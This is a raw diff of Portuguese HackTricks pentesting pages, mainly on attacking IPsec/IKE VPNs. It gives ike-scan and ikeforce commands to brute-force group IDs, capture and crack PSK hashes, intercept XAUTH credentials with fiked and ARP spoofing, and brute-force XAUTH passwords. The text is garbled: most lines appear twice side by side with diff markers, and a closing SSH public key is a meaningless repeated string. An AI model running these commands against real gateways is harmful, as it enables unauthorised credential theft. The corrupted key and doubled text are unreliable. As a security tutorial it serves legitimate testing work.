Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de reproduzir. Em seguida, **analisa** a **diferença de tempo** entre as mensagens recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão a carga útil opcional **Vendor ID (VID) payload** com IKE. Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de reproduzir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens** recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão a carga útil opcional **Vendor ID (VID)** com o IKE.
**Especifique a transformação válida, se necessário** (usando --trans) **Especifique a transformação válida, se necessário** (usando --trans)
@ -82,68 +104,69 @@ Se o IKE descobrir qual é o fornecedor, ele o imprimirá:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200 root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned 172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a) HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns: IKE Backoff Patterns:
IP Address No. Recv time Delta Time IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator 172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
Isso também pode ser alcançado com o script do nmap _**ike-version**_ Isso também pode ser alcançado com o script do nmap _**ike-version**_
# Encontrando o ID correto (nome do grupo) ## Encontrando o ID correto (nome do grupo)
Para poder capturar o hash, você precisa de uma transformação válida que suporte o modo Aggressive e o ID correto (nome do grupo). Provavelmente, você não saberá o nome do grupo válido, então terá que forçar a entrada.\ Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o modo Aggressive e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer uma força bruta.\
Para fazer isso, eu recomendaria 2 métodos: Para isso, eu recomendaria 2 métodos:
## Forçando a entrada do ID com ike-scan ### Força bruta do ID com o ike-scan
Primeiro, tente fazer uma solicitação com um ID falso tentando reunir o hash ("-P"): Primeiro, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"):
```bash ```bash
ike-scan -P -M -A -n fakeID <IP> ike-scan -P -M -A -n fakeID <IP>
``` ```
Se **nenhum hash for retornado**, provavelmente este método de força bruta funcionará. **Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável** para forçar a ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas): Se **nenhum hash for retornado**, então provavelmente esse método de força bruta funcionará. **Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então esse método não será confiável** para forçar o ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas):
![](<../.gitbook/assets/image (110).png>) ![](<../.gitbook/assets/image (110).png>)
Mas se, como eu disse, nenhum hash for retornado, você deve tentar forçar nomes de grupo comuns usando o ike-scan. Mas se, como eu disse, nenhum hash for retornado, você deve tentar forçar nomes de grupos comuns usando o ike-scan.
Este script **tentará forçar IDs possíveis** e retornará as IDs onde um handshake válido é retornado (este será um nome de grupo válido). Este script **tentará forçar possíveis IDs** e retornará os IDs onde um handshake válido for retornado (isso será um nome de grupo válido).
Se você descobriu uma transformação específica, adicione-a ao comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas esteja funcionando corretamente). Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas esteja funcionando corretamente).
Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupo comuns para forçá-los: Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes comuns de grupos para forçá-los:
```bash ```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
``` ```
## Bruteforçando ID com Iker Ou use este dicionário (é uma combinação dos outros 2 dicionários sem repetições):
[**Iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) também usa o **ike-scan** para forçar possíveis nomes de grupo. Ele segue seu próprio método para **encontrar um ID válido com base na saída do ike-scan**. {% file src="../.gitbook/assets/vpnIDs.txt" %}
## Bruteforçando ID com ikeforce ### Bruteforcing ID com Iker
[**Ikeforce.py**](https://github.com/SpiderLabs/ikeforce) é uma ferramenta que pode ser usada para **forçar IDs também**. Esta ferramenta irá **tentar explorar diferentes vulnerabilidades** que poderiam ser usadas para **distinguir entre um ID válido e um não válido** (pode ter falsos positivos e falsos negativos, é por isso que prefiro usar o método ike-scan, se possível). [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) também usa o **ike-scan** para fazer força bruta em possíveis nomes de grupo. Ele segue seu próprio método para **encontrar um ID válido com base na saída do ike-scan**.
### Bruteforcing ID com ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) é uma ferramenta que pode ser usada para **fazer força bruta em IDs também**. Essa ferramenta irá **tentar explorar diferentes vulnerabilidades** que poderiam ser usadas para **distinguir entre um ID válido e um não válido** (pode ter falsos positivos e falsos negativos, por isso prefiro usar o método do ike-scan, se possível).
Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada. Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada.
* O **primeiro método** é forçar os nomes de grupo **procurando** pela informação **Dead Peer Detection DPD** dos sistemas Cisco (esta informação só é reproduzida pelo servidor se o nome do grupo estiver correto). * O **primeiro método** é fazer força bruta nos nomes de grupo **procurando** pela informação **Dead Peer Detection DPD** dos sistemas Cisco (essa informação só é respondida pelo servidor se o nome do grupo estiver correto).
* O **segundo método** disponível é **verificar o número de respostas enviadas para cada tentativa**, porque às vezes mais pacotes são enviados quando o ID correto é usado.
* O **segundo método** disponível é **verificar o número de respostas enviadas para cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
* O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a um ID incorreto**. * O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a um ID incorreto**.
* Por fim, se o servidor não responder a nenhum dos testes, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado).
* Finalmente, se o servidor não responder a nada às verificações, o **ikeforce** tentará forçar o servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\ Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se você descobriu várias transformações, fique à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas esteja funcionando corretamente).
Obviamente, o objetivo de forçar o ID é obter o **PSK** quando você tem um ID válido. Então, com o **ID** e **PSK**, você terá que forçar o XAUTH (se estiver habilitado).
Se você descobriu uma transformação específica, adicione-a ao comando ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas esteja funcionando corretamente).
```bash ```bash
git clone https://github.com/SpiderLabs/ikeforce.git git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -152,15 +175,15 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash ```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic ./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
``` ```
## Sniffing ID ### Sniffing ID
Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado sem criptografia (do livro **Network Security Assessment: Know Your Network**) Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, pois o primeiro pacote do modo agressivo contendo o ID do cliente é enviado em texto claro (do livro **Network Security Assessment: Know Your Network**)
![](<../.gitbook/assets/image (111).png>) ![](<../.gitbook/assets/image (111).png>)
# Capturando e quebrando o hash ## Capturando e quebrando o hash
Por fim, se você encontrou uma **transformação válida** e o **nome do grupo** e se o **modo agressivo é permitido**, então você pode facilmente capturar o hash que pode ser quebrado: Finalmente, se você encontrou uma **transformação válida** e o **nome do grupo** e se o **modo agressivo for permitido**, então você pode facilmente obter o hash que pode ser quebrado:
```bash ```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
``` ```
@ -170,21 +193,21 @@ Você pode usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://gi
```bash ```bash
psk-crack -d <Wordlist_path> psk.txt psk-crack -d <Wordlist_path> psk.txt
``` ```
# **XAuth** ## **XAuth**
A maioria das implementações usa o **modo agressivo IKE com PSK para realizar autenticação em grupo**, e **XAUTH para fornecer autenticação adicional do usuário** (por meio do Microsoft Active Directory, RADIUS ou similar). No **IKEv2**, **EAP substitui XAUTH** para autenticar usuários. A maioria das implementações usa o **modo agressivo IKE com um PSK para realizar autenticação em grupo**, e o **XAUTH para fornecer autenticação adicional do usuário** (por meio do Microsoft Active Directory, RADIUS ou similar). No **IKEv2**, o **EAP substitui o XAUTH** para autenticar os usuários.
## MitM na rede local para capturar credenciais ### MitM na rede local para capturar credenciais
Assim, você pode capturar os dados do login usando o _fiked_ e ver se há algum nome de usuário padrão (você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O Fiked atuará como um ponto de extremidade VPN e capturará as credenciais XAuth: Assim, você pode capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto de extremidade VPN e capturará as credenciais do XAuth:
```bash ```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d fiked -g <IP> -k testgroup:secretkey -l output.txt -d
``` ```
Além disso, usando IPSec, tente fazer um ataque de MitM e bloqueie todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia. Além disso, tente fazer um ataque de MitM usando IPSec e bloqueie todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
## Forçando XAUTH username e senha com ikeforce ### Forçando a entrada de usuário e senha XAUTH com ikeforce
Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuário e uma lista de senhas: Para forçar a entrada de usuário e senha **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuário e uma lista de senhas:
```bash ```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1] ./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
``` ```
@ -192,9 +215,9 @@ Desta forma, o ikeforce tentará se conectar usando cada combinação de nome de
Se você encontrou uma ou várias transformações válidas, use-as como nos passos anteriores. Se você encontrou uma ou várias transformações válidas, use-as como nos passos anteriores.
# Autenticação com uma VPN IPSEC ## Autenticação com uma VPN IPSEC
No Kali, o **VPNC** é usado para estabelecer túneis IPsec. Os **perfis** devem estar localizados em **_/etc/vpnc/_** e você pode usar a ferramenta _**vpnc**_ para chamá-los.\ No Kali, o **VPNC** é usado para estabelecer túneis IPsec. Os **perfis** devem estar localizados em _**/etc/vpnc/**_ e você pode usar a ferramenta _**vpnc**_ para chamá-los.\
Exemplo retirado do livro **Network Security Assessment 3rd Edition**: Exemplo retirado do livro **Network Security Assessment 3rd Edition**:
``` ```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
@ -209,29 +232,30 @@ root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)... VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0 root@kali:~# ifconfig tun0
``` ```
# Material de Referência ## Material de Referência
* [Artigo sobre cracking de PSK](http://www.ernw.de/download/pskattack.pdf) * [Artigo sobre quebra de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneando uma Implementação VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) * [Escaneando uma Implementação de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
# Shodan ## Shodan
* `port:500 IKE` * `porta:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Encontre as vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -12,7 +12,7 @@
</details> </details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_). Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
@ -88,13 +88,13 @@ $ python3 ssh-audit <IP>
### Chave pública SSH do servidor ### Chave pública SSH do servidor
```plaintext ```plaintext
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6X